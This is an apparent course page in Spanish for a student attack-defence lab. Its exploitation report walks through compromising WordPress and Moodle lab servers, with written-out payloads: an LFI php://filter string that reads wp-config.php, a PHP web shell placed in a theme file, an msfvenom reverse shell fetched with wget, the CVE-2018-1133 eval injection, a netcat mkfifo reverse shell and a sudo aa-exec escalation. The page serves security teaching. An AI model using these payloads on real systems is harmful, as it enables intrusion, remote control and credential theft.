Saltar a contenido

Informes

Una vez que la infraestructura está preparada y el alumnado ha levantado el entorno, se llevará a cabo un ejercicio de ataque-defensa. Este ejercicio generará una serie de informes esenciales para evaluar y documentar las actividades realizadas. Los informes a elaborar son los siguientes:

Informe de explotación

Este informe detalla los métodos y técnicas de ataque utilizados por los estudiantes durante el ejercicio. Su propósito es identificar las vulnerabilidades explotadas y documentar el proceso del ataque.

Las pruebas de pentesting se realizarán a las siguientes subredes y dominios:

  • Dirección IP PC1: 192.168.1.130
  • Dirección IP PC2: 192.168.1.133

Se permitirá el uso de cualquier tipo de técnica automatizada, como enumeraciones y escaneo de vulnerabilidades, siempre y cuando no provoquen problemas de disponibilidad a los servicios de la empresa. Las siguientes acciones están fuera del alcance de esta evaluación:

  • Phishing / Ingeniería social
  • Acciones destructivas o pruebas de Denegación de Servicio (DoS)
  • Modificaciones en el entorno sin el consentimiento escrito del personal de TI autorizado

Tras conocer el alcance y llevar a cabo diversas investigaciones, hemos finalizado con la siguiente infraestructura, la cual ha sido analizada.

Estructura

Máquina WordPress: Servidor Web

NMAP

Lanzamos el comando de reconocimiento y obtenemos la siguiente información:

Nmap1

Nmap2

Como se observa en la imagen anterior, la máquina tiene varios puertos abiertos, destacando el puerto 80 para HTTP y el puerto 443 para HTTPS.

Fuzzing

Realizamos una serie de pruebas de fuzzing utilizando la herramienta Gobuster para identificar directorios y archivos ocultos en el servidor web.

Fuzzing

Enumeración de Vulnerabilidades con WPScan

Se utilizó WPScan para enumerar los usuarios y plugins del sitio WordPress:

wpscan --url http://192.168.1.130/wordpress -e u

Durante este proceso, se encontró el plugin "Mail Masta" versión 1.0, que es vulnerable a una inclusión local de archivos (LFI). La vulnerabilidad de inclusión de archivos permite a un atacante incluir un archivo, generalmente explotando los mecanismos de "inclusión dinámica de archivos" implementados en la aplicación de destino. La vulnerabilidad se produce debido al uso de entradas proporcionadas por el usuario sin la validación adecuada.

WPScan Plugins

Explotación de la Vulnerabilidad LFI

Primero, se intentó acceder directamente al archivo wp-config.php utilizando la vulnerabilidad LFI con la siguiente URL:

/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=../../../../../wp-config.php

Sin embargo, debido a que el contenido del archivo .php no se puede mostrar directamente, se empleó una técnica adicional para leer su contenido.

Extracción del Contenido en Base64

Para sortear la limitación de lectura directa del archivo .php, se utilizó una cadena de comando que convierte el contenido del archivo en base64. Esto permite codificar los datos del archivo en un formato que puede ser leído y decodificado posteriormente. El comando usado fue el siguiente:

/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=pHp://FilTer/convert.base64-encode/resource=../../../../../wp-config.php

Visualización del Contenido Extraído

La imagen a continuación muestra el resultado de la extracción en base64, lo cual permite visualizar y luego decodificar el contenido del archivo wp-config.php:

Base64 Extraction

Este método de explotación evidencia la importancia de mantener los plugins actualizados y asegurados contra vulnerabilidades conocidas, así como implementar medidas de seguridad adicionales para proteger los archivos críticos del sistema.

Decodificación del Contenido en Base64

El contenido del archivo wp-config.php extraído en base64 se decodificó para obtener el usuario y la contraseña de la base de datos de WordPress. Esta información es crucial para acceder a la administración del sitio.

Decoding Base64

Acceso al Panel de Administración de WordPress

Con las credenciales obtenidas, se accedió al panel de administración de WordPress.

Modificación del archivo index.php del tema activo

Se modificó el archivo index.php del tema activo (twentynineteen en este caso) para añadir una puerta trasera que permite la ejecución de comandos:

<?php
    echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>

Theme Modification

Ejecución de Comandos a través de la URL

Con la puerta trasera añadida, se pueden ejecutar comandos directamente desde la URL. Por ejemplo, para ejecutar el comando whoami:

http://192.168.1.130/wordpress/wp-content/themes/twentynineteen/index.php?cmd=whoami

Command Execution

Esta técnica permitió obtener el control del sitio web y ejecutar comandos en el servidor subyacente.

Configuración del Servidor Python

Se inició un servidor Python para alojar y servir el payload malicioso. Esto se realizó con el siguiente comando

python3 -m http.server 8000

Este comando lanza un servidor HTTP en el puerto 8000 del sistema.

Creación del Payload de Reverse Shell con msfvenom

Se generó un payload de reverse shell en formato ejecutable (.exe) utilizando msfvenom. El comando utilizado fue

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.133 LPORT=4455 -f exe -o payloadproyectofinal.exe

Donde - -p windows/shell_reverse_tcp: Especifica el payload de reverse shell para Windows - LHOST=192.168.1.133: Dirección IP del atacante donde se recibirá la conexión - LPORT=4455: Puerto en el que el atacante escucha la conexión entrante - -f exe: Formato del archivo de salida (ejecutable) - -o payloadproyectofinal.exe: Nombre del archivo de salida

Subida del Payload al Servidor

El payload fue alojado en el servidor Python para que fuera accesible a través de una URL. Para descargar el payload en la máquina objetivo, se utilizó wget

wget -o p.exe http://192.168.1.133:8000/payloadproyectofinal.exe

Ejecución del Payload en la Máquina Objetivo

Una vez descargado, el payload se ejecutó en la máquina objetivo. La ejecución se realizó mediante una URL específica que invoca el comando PowerShell

http://192.168.1.130/wordpress/wp-content/themes/twentynineteen/index.php?cmd=powershell ".\p.exe"

La URL envía el comando para ejecutar el archivo payloadproyectofinal.exe en la máquina objetivo.

Obtención de la Reverse Shell

Al ejecutar el payload en la máquina objetivo, se establece una conexión de reverse shell de vuelta al atacante en el puerto 4455. Esto permite el control remoto y la ejecución de comandos en la máquina objetivo.

Reverse Shell

Máquina Moodle: Servidor Web

NMAP

Lanzamos el comando de reconocimiento y obtenemos la siguiente información:

NMAP

Acceso al Servicio FTP

Accedimos al servicio FTP de manera anónima y logramos encontrar el usuario y la contraseña para el Moodle.

FTP

Mensaje

Acceso a la Web

Accedimos a la página web del servidor y nos encontramos con la página predeterminada de Apache2, lo que indica que el servidor web está funcionando correctamente, pero no hay ningún contenido específico cargado en este momento.

Web

Fuzzing

Realizamos una serie de pruebas de fuzzing utilizando la herramienta Gobuster para identificar directorios y archivos ocultos en el servidor web.

Web

Acceso a Moodle

Con las credenciales encontradas, accedimos a la página de Moodle. Una vez dentro, verificamos que la versión era 3.4.1.

Moodle Login

Explotación de la Vulnerabilidad en Moodle 3.4.1

Investigamos en internet y encontramos un exploit para la versión 3.4.1. La vulnerabilidad, CVE-2018-1133, permite a cualquier usuario con el rol de profesor obtener ejecución remota de código (RCE) a través de Moodle. La vulnerabilidad se encuentra en la parte del código que permite a un profesor definir un problema como “¿Cuál es {x} + {y}?”, y tener diferentes x e y para cada estudiante. Moodle elige un x y un y aleatorio, y luego obtiene la respuesta llamando a eval() de PHP en la fórmula de entrada. Si se puede envenenar la entrada, se puede hacer que ejecute código arbitrario.

Iniciamos sesión usando las credenciales encontradas y navegamos a una clase (por ejemplo, Algebra). Desde allí, activamos el modo de edición:

Moodle Editing

Para cualquiera de los temas, hacemos clic en "Añadir una actividad o un recurso", seleccionamos "Cuestionario" y hacemos clic en "Añadir". Llenamos un nombre y descripción, y guardamos.

Add Quiz

Luego, hacemos clic en el cuestionario y seleccionamos "Editar cuestionario". Hacemos clic en "Añadir" y luego en "una nueva pregunta". En la ventana emergente, seleccionamos "Calculada" y hacemos clic en "Añadir". Llenamos todos los campos requeridos, pero el único que importa es la "Fórmula de la respuesta 1". Allí agregamos la cadena del exploit:

/*{a*/`$_GET[0]`;//{x}}

Exploit String

Obtención de una Reverse Shell

Utilizamos esta RCE para obtener una shell, tomando nuestro método habitual de la cheat sheet de reverse shells. Agregamos 0=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>%261|nc 192.168.1.138 443 >/tmp/f al final de la URL, codificando el & para que no sea tratado como otro parámetro. Obtenemos una conexión de vuelta en nc:

Reverse Shell

Mejora de la Shell

Usamos Python para lanzar bash a través del módulo pty.

Improved Shell

Comprobar permisos

Verificamos los permisos y capacidades del usuario actual utilizando sudo -l. Esto nos permite ver qué comandos podemos ejecutar con privilegios elevados.

Permisos

Busqueda aa-exec

Identificamos que el binario aa-exec está permitido para su ejecución con privilegios elevados a través de sudo. Este binario puede ser utilizado para acceder al sistema de archivos y potencialmente escalar privilegios.

Gtfobins

Escalada de Privilegios

Para escalar los privilegios y obtener acceso root, utilizamos aa-exec con el siguiente comando:

sudo aa-exec /bin/sh

Root

Informe de pentesting

El informe de pentesting proporciona una evaluación completa de la seguridad de la infraestructura, identificando todas las vulnerabilidades encontradas durante el ejercicio.

Contenido: Metodología empleada, resultados de las pruebas, representación gráfica de las vulnerabilidades y recomendaciones de seguridad.

Informe del análisis forense del incidente

Este informe recopila y analiza las evidencias digitales relacionadas con el incidente de seguridad. Su objetivo es reconstruir el ataque, determinar su origen y alcance, y preservar la cadena de custodia.

Contenido: Recopilación de evidencias, análisis detallado, herramientas y técnicas forenses, y conclusiones sobre el incidente.

Informe de mitigación de las vulnerabilidades

El informe de mitigación detalla los pasos necesarios para corregir las vulnerabilidades identificadas durante el pentesting y el análisis forense, y describe las medidas implementadas para prevenir futuros ataques.

Contenido: Listado de vulnerabilidades, plan de mitigación, implementación de medidas de seguridad y evaluación de su efectividad.

Informe de evaluación del ejercicio

Este informe evalúa el desempeño del alumnado durante el ejercicio de ataque-defensa, proporcionando retroalimentación sobre las estrategias y técnicas utilizadas y recomendando áreas de mejora.

Contenido: Evaluación del desempeño, retroalimentación, identificación de áreas de mejora, y análisis del impacto educativo del ejercicio.

Estos informes no solo ayudan a documentar el ejercicio de ataque-defensa, sino que también sirven como herramientas de aprendizaje y mejora continua para el alumnado, permitiéndoles aplicar sus conocimientos en situaciones prácticas y reales.